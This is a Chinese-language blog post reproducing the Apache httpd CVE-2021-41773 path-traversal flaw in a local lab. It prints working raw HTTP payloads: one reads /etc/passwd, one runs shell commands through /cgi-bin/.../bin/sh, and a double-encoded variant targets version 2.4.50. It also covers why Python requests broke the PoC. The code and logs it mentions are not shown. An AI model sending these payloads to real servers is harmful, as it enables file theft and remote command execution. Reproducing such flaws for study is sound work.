您的位置:首页 > 理论基础 > 计算机网络

CVE-2021-41773 Apache Httpd Server 漏洞复现

2021-10-13 00:04 1171 查看

CVE-2021-41773 Apache Httpd Server 漏洞复现

0x00 写在前面

很久没写水漏洞复现的文章了,水一篇。

0x01 漏洞简介

是目录穿越文件读取漏洞,漏洞只影响2.4.49,2.4.50不完全修复可绕过,如果开启

mod_cgi
可RCE

详情可参考下面链接

https://twitter.com/h4x0r_dz/status/1445384417908862977?s=20

https://zh-cn.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited?tns_redirect=true

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773

https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247488695&idx=1&sn=93cc8e0b903e073b2ec5f56baae05c8c&chksm=c172ceabf60547bd7084dbc30283b124de404086adcac29cac09c261682af6207e83914f8971&mpshare=1&scene=23&srcid=1011i7EQtc88ryHEEnWw9Ib1&sharer_sharetime=1633916866195&sharer_shareid=89d9b45c74ce6f3b746404e9dd2f124d%23rd

0x02 漏洞复现

这里用的https://github.com/blasty/CVE-2021-41773项目起的环境

文件读取

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080

RCE

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/plain
Content-Length: 8

echo; id

2.4.50版本暂未复现,payload中目录穿越部分换为

.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65
即可

0x03 poc编写

主要记录下写poc时踩的坑,本人用的python3.9.6 一开始用的requests库,但是发现requests库在发送http请求时会自己先对url进行处理,而不会直接将我们在脚本中写好的url直接发过去。

部分源码如下:

报错如下:

而burp发过去就是很正常的,最后查看日志时发现了问题

error.log:

access.log

结果:burp传过去在log里看是有url编码的,requests过去的在发送前已经先做了一次urldecode

这里没有debug跟源码,用urllib.request作为请求库就解决了

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: